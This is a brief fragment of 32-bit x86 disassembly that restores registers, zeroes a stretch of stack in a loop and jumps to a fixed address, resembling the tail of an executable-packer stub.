pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x56f984
sub esp, 0xffffff80
jmp 0x420577